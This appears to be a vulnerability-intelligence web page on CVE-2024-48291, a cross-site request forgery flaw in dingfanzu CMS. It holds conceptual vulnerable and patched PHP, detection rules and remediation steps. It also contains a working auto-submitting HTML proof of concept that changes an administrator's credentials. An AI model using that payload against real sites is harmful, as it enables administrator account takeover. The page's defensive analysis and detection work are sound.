☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-48291

CVE-2024-48291 Cross-Site Request Forgery in Dingfanzu
📅 PUBLISHED: 2024-10-28 00:00 UTC 🔄 UPDATED: 2026-08-21 19:28 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1185
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-48291 identifies a Cross-Site Request Forgery (CSRF) vulnerability in dingfanzu CMS version 1.0. The flaw exists in the /admin/doAdminAction.php?act=editAdmin&id=17 endpoint, allowing an attacker to perform unauthorized administrative actions, such as modifying admin accounts, by tricking an authenticated administrator into visiting a malicious page. No CVSS score, EPSS data, or patch information is currently available, indicating a lack of vendor response and low exploitation activity. This report provides a comprehensive analysis, detection rules, and mitigation strategies.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP CMS application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability type (CSRF) and impact (privilege escalation via admin modification), a reasonable assessment is:

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Attacker does not need authentication.
  • User Interaction (UI): Required (R) – Victim must click a link or visit a page.
  • Scope (S): Unchanged (U) – Affects only the vulnerable component.
  • Confidentiality (C): High (H) – Admin account modification can lead to data exposure.
  • Integrity (I): High (H) – Admin accounts can be altered.
  • Availability (A): Low (L) – Could lock out legitimate admins.

Estimated CVSS Score: 8.0 (High)

Threat Level: High – Exploitation requires user interaction but can lead to full administrative compromise.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the dingfanzu CMS admin panel. The endpoint /admin/doAdminAction.php?act=editAdmin&id=17 lacks anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, automatically submits a request to modify the admin account (e.g., change password or email). The request is processed because the victim’s browser includes their session cookies.

Attack Flow:

  1. Attacker identifies the vulnerable endpoint and parameters (e.g., act=editAdmin&id=17).
  2. Attacker crafts a form or image tag that sends a POST/GET request to the endpoint with malicious data (e.g., new password).
  3. Attacker hosts the malicious page and lures an authenticated admin to visit it (e.g., via phishing email).
  4. The admin’s browser executes the request, and the CMS processes it, altering the admin account.

Root Cause: Lack of CSRF protection mechanisms (tokens, SameSite cookies, or referrer checks) in the admin action handler.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in /admin/doAdminAction.php. A patched version would include CSRF token validation.

Vulnerable Code (Conceptual):

<?php
// doAdminAction.php
session_start();
// No CSRF token check
$act = $_GET['act'];
if ($act == 'editAdmin') {
    $id = $_GET['id'];
    // Process admin update without verifying request origin
    updateAdmin($id, $_POST);
}
?>

Patched Code (Conceptual):

<?php
// doAdminAction.php
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
$act = $_GET['act'];
if ($act == 'editAdmin') {
    $id = $_GET['id'];
    updateAdmin($id, $_POST);
}
?>

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) HTML Page:

<html>
<body>
<form action="http://target.com/admin/doAdminAction.php?act=editAdmin&id=17" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="password" value="newpass123">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Usage:

  1. Host the HTML file on an attacker-controlled server.
  2. Send the link to an authenticated admin (e.g., via email).
  3. Once the admin visits the page, the form auto-submits, changing the admin account credentials.

Automated Exploit (Python):

import requests

target_url = "http://target.com/admin/doAdminAction.php?act=editAdmin&id=17"
payload = {
    "username": "attacker",
    "password": "newpass123"
}
# Note: This requires the victim's session cookie, which is not directly obtainable.
# This script is for demonstration only.
print("CSRF exploit requires victim interaction. Use the HTML PoC.")

Blue Team

Detection Steps:

  1. Monitor logs for unusual POST requests to /admin/doAdminAction.php with parameters act=editAdmin and id=17.
  2. Check for rapid changes to admin accounts (e.g., password resets) from a single IP.
  3. Implement CSRF tokens immediately.

Lab Setup:

  • Install dingfanzu CMS 1.0 on a local server (e.g., XAMPP).
  • Create an admin account and log in.
  • Use the PoC HTML page to test the vulnerability.
  • Monitor network traffic with Wireshark or Burp Suite.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /admin/doAdminAction.php?act=editAdmin&id=17 with unexpected parameters.
    • Referrer headers from external domains.
  • Host:
    • Unauthorized changes to admin account credentials in the database.
    • New admin accounts created without proper authorization.
  • Logs:
    • Repeated failed login attempts followed by successful login from a new IP.
    • Log entries showing admin modifications without corresponding CSRF token.

Detection Engineering

YARA Rule

rule CVE_2024_48291_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against dingfanzu CMS admin endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-48291"
    strings:
        $endpoint = "/admin/doAdminAction.php?act=editAdmin&id=17"
        $csrf_bypass = "doAdminAction.php"
    condition:
        $endpoint or $csrf_bypass
}

Sigma Rule

title: CSRF Exploit Against dingfanzu CMS Admin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential CSRF attacks targeting the admin account modification endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin/doAdminAction.php'
        cs-uri-query|contains: 'act=editAdmin'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF tokens are implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48291 CSRF Attempt - dingfanzu CMS Admin Edit"; flow:to_server; content:"POST"; http_method; content:"/admin/doAdminAction.php"; http_uri; content:"act=editAdmin"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Implement CSRF Tokens: Add a unique, unpredictable token to each admin form and validate it on the server side.
  2. Use SameSite Cookies: Set the SameSite attribute to Strict or Lax on session cookies.
  3. Validate Referrer Header: Check the Referer header to ensure requests originate from the same site.
  4. Upgrade: If a patched version becomes available, upgrade immediately.

Long-Term Measures:

  • Conduct regular security audits and penetration testing.
  • Educate administrators about phishing and CSRF risks.
  • Monitor for similar vulnerabilities in other CMS components.

Workaround: If patching is not possible, restrict access to the admin panel via IP whitelisting or VPN.


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

dingfanzu cms
dingfanzu admin

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-48291/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.